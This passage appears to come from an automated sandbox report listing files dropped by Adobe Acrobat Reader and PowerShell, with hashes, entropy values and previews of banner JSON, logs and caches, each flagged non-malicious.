Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2514424834634665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfbPtdPeUkwRe9:YvXKXB1nVoYpW7HzGDV8Ukee9
MD5:	628C953E9A94FB6C541313B5C8299ACE
SHA1:	F0C210D660E3E930598F4B04E5969A4257A5EE9D
SHA-256:	9DA8CC18E4C7B1DE5AA07BAB1DE02C3C926CE259D44F85AC9112792B3B91E63C
SHA-512:	F1AAA44E496B4A3F389EDA75CAF86D8761CFA67356E3910856165BF035E5541AA6C6E0FCB4CD443E13D61FCCC4364BB38D30025EFD193F82D815ED3967E1BBAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.252964117264622
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJf21rPeUkwRe9:YvXKXB1nVoYpW7HzG+16Ukee9
MD5:	6C404909FC0A7BBD2A340ECB0B8AE194
SHA1:	0B123730F72C07EF3257516D826D72FDEA5C51E1
SHA-256:	2F12A20CC46C759BDACA076E8D27BEEB20C254E6AD5E9A9B9948097EAF0BD121
SHA-512:	52F54E6CD3D4E749C003F22D059783BA8014E77B119A22B686AF04F2A9238EAF70AA79BFC9F530BA84B7F9251687687E2B6DC0110EE7A41A5184B7349F023280
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655625620420358
Encrypted:	false
SSDEEP:	24:Yv6XBBVRiHcamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSeCS:YvEBWH6BgkDMUJUAh8cvMeJ
MD5:	0906FD2ABFDFF255CDB7ADBA1A8DBC75
SHA1:	7A5824BD1D1F566D3AC6785037CB23CE5758F059
SHA-256:	645B8D5CC0394D5A933FCB180FBCD44A83169BA8F3811B3E641D6A7F22E48A5A
SHA-512:	B1D60AF3C1EC969C865E0B98CDDCB9573AD0F9818EBC05B3AC0C6E88F5F3053428F811B379422D4C986F1CD23A839E81EC880544D3CBEAC44077CA2E238CD50C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.22788846576282
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfshHHrPeUkwRe9:YvXKXB1nVoYpW7HzGUUUkee9
MD5:	CEC87C81364A7CA6020DA623AD761A99
SHA1:	027C6CFDC21784ACE3D36955F13431E93D735354
SHA-256:	D4163D6C78AF297B7845C0466B782EE1CC271789525EC3163745ED445C1476FE
SHA-512:	2815DCBA207835E7EA27FC060D6CE9BB6F1247B7B8CF611890ED2763572EBF922E45BF073CB2F46D34DCDC0A92E7C19252BDBE4F22C9E2C1545A407A041D7CA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.235559262511343
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJTqgFCrPeUkwRe9:YvXKXB1nVoYpW7HzGTq16Ukee9
MD5:	C840F4AA29ECEF28EA53C6C4742648B4
SHA1:	C2EC27A65DDC5225DB62674213748BB682291FD0
SHA-256:	92C55FDF08FAE90C68FE75E4020EF7845ADA10D81025A81CC35D4A3EAA125E62
SHA-512:	0404479E54C3BAB13F984EFE207E0583AC812E65BFED7C1D6DD4A086BCE787F387BBBF492B04F4F896F97DECDE99D4AC3CD36E6581BAD75AA6B5A51A7648021C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1336182768924035
Encrypted:	false
SSDEEP:	48:Yp6QAfDoScPtmkpZOk8UDmdGTZi9/0yUDY/bE7DC/93dLl:JfslPt6BU/CUDYo6r
MD5:	4E48776D5C59423304447F2E7E9CD969
SHA1:	8A458DB554350369346C45431D8203BD44733324
SHA-256:	23F07158BB86752FFB21AFA0E9F545251B2C3F436207ED199CC6E80577196167
SHA-512:	2045AF6D61EC61E8654B3424EAE2F065FB3D838759B4F16AFADB3B2FDA8F532561B49763102FDE2FE99704ECE5D762125025AB8FA3D5DF7D567ABE2C1C31C1F0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3bf48853bdee11bed968a45ea26d0ef8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736577537000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8db9f313dba3c0208d761a6f0518dca7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736577537000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1cbe5cef0a1bb1664f96d224a2cf143c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736577537000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cfe9c1757ae510660617ad2457cccd45","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736577537000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e31d1eeff4aa239446c2934abda978c9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736577537000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ebf8ed453559f3167ad67e78553a04af","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9845779429347742
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpQn4zJwtNBwtNbRZ6bRZ41nF:TVl2GL7ms6ggOVpHzutYtp6Pm
MD5:	F25E720FAF7AC00BD2FC330C133BB8F6
SHA1:	3EAC35D576D0BB7CA4593B8265C3830E8C728C9C
SHA-256:	2607A977921F3883C29616F50A4DE447877F42BE5AFA367BB89450D8A713FC5C
SHA-512:	194BCED589C6C37052984684A6C95B3E8A1A3A5F18F5F595437741D301B4B41A22EB6862558D244E33A3BF599242B7F293B08AC1C1BFC4CA2AFF51AA9BCAA17E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3386936076924298
Encrypted:	false
SSDEEP:	24:7+tiAD1RZKHs/Ds/SpQnPzJwtNBwtNbRZ6bRZWf1RZK0qLBx/XYKQvGJF7ursqD:7MiGgOVpgzutYtp6PMlqll2GL7msqD
MD5:	552E6B42DB1C54A50DA77773C28D10A5
SHA1:	B9754BB7D7EB70B71D145334EE4BF3056A651E0C
SHA-256:	C77364A93CAF6C10AEE8CC73518DC8EA709FAF08753C61276D45C82398E32BB2
SHA-512:	B5C9259A8918BF48C619A95F4E6E88628AD1BAC6525684206DBD4E2C6605AE22345909D5A3D5AA86F3AA9AD55B9538B8183609B3BA97061CAED35C083F394F99
Malicious:	false
Preview:	.... .c.....QHq.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgjvy3zRaXpJnbUOeSrXFuy1IdEj9Yyu:6a6TZ44ADEjvymbUOeSzTIaj9K
MD5:	C5A0303D23CAAD9B60ACB766E3FDAFE3
SHA1:	1DE793A15FE984D37D3983BF1920CB17AF04770D
SHA-256:	887A427A232504EB4686D6C00897C9BCCA39308CBC5CF2332FEC7E26D7FF3E99
SHA-512:	3B445482CC09154100E2AB3E342A66AA04012EC06957273940F2ACFC0D933636A87A9B13C67A02756F7E824DD5FFFD2863CFBFF27AB954CD962BF9DD12B7D8FA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI9783c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8iNQlcH:Qw946cPbiOxDlbYnuRKdoQGH
MD5:	D1F3F734DBDF9A7631A018D3509E3504
SHA1:	05E208428DF32F3E90D490BDD7A619A316E39E7C
SHA-256:	E2614395A507A6AB56EBE346F70556CD7D3E136DC544B8EA3A83F2A5527F0064
SHA-512:	C962D26AEF3C8D55FA88AF02BC1EBDFFBB7E4440FDEC8B88AEAF37C3660CCF2537CE20B798F6024843B2CD28A1CAE089A7ACB347E1346F2D12215B7C8DC56728
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.3.8.:.5.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxg0fh1d.maf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zpr1gs1r.o1t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-38-53-933.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350151823994597
Encrypted:	false
SSDEEP:	384:aU1a9rI5RwFOu5TpAueDTDPD5t0Q3eVMJ11Kdeqok4T22zqQOY9dSRszEzKnw2mR:xxu
MD5:	045540AC4A399301A7A4A97DF4EF18C5
SHA1:	9077900687E72E5E4B9787A1E9E7DD1E3182EE03
SHA-256:	7761D571B10B903644F4ECE353928D4601B01F6A2D29885D90EF0280131E14D1
SHA-512:	C4486DE08E5BACD16DBD9A953B0DF99D96A7D44C82A0344341BFD1CF6A359DE70B7A5C3BA71D0BA180AD00B0F15D2FDE83CAB981942ADE7A5670D136A182B9CA
Malicious:	false
Preview:	SessionID=649d991c-b125-4359-b35e-b12b4e336ab3.1736577533947 Timestamp=2025-01-11T01:38:53:947-0500 ThreadID=7832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=649d991c-b125-4359-b35e-b12b4e336ab3.1736577533947 Timestamp=2025-01-11T01:38:53:951-0500 ThreadID=7832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=649d991c-b125-4359-b35e-b12b4e336ab3.1736577533947 Timestamp=2025-01-11T01:38:53:952-0500 ThreadID=7832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=649d991c-b125-4359-b35e-b12b4e336ab3.1736577533947 Timestamp=2025-01-11T01:38:53:952-0500 ThreadID=7832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=649d991c-b125-4359-b35e-b12b4e336ab3.1736577533947 Timestamp=2025-01-11T01:38:53:952-0500 ThreadID=7832 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399269218995598
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbg:U
MD5:	79331EA7D060C651AD5F8A453B5236A2
SHA1:	FBD3DCF3A5630CE7B5766CDA6B770468CB15152B
SHA-256:	69F1193590FA3257D9B0C9A9AFE7792F404A5AE4A1DC20FEFFD9845D0D8A8FA6
SHA-512:	2C806EA662CE15054FF36592D7369110270C522D0F968DCC6F0B8D028827EA234164A3D4A99591921A0C293744235B31742E6A593A460E39B73C6BF5876D3C65
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\083b9143-1b91-4158-878a-7058236d20a8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/2wYIGNP4mOWL07oYGZZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:OwZG6bWLxYGZh3mlind9i4ufFXpAXkru
MD5:	B35FED7BE92D90BA6DDDCEF30C86FA29
SHA1:	76BA97E63AA2532639743F995CEF1923C40C1C2F
SHA-256:	7C9BDC820EE2C370877C39A2C22785ACFBC2E8E483D68F55EF5F8EEA2E041F8F
SHA-512:	23191B74EB0FF770FB92900EA279C0D138A72A083D078446A25E377953233E013FAB6F0346EF4CBDB1A2AC3D925B988D67157842D38029EDDF36905236FD51E8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\65c9c16a-e77e-4089-8ccf-4ae60448b18a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\97556bc1-910d-4239-b329-72cc6b81fb04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
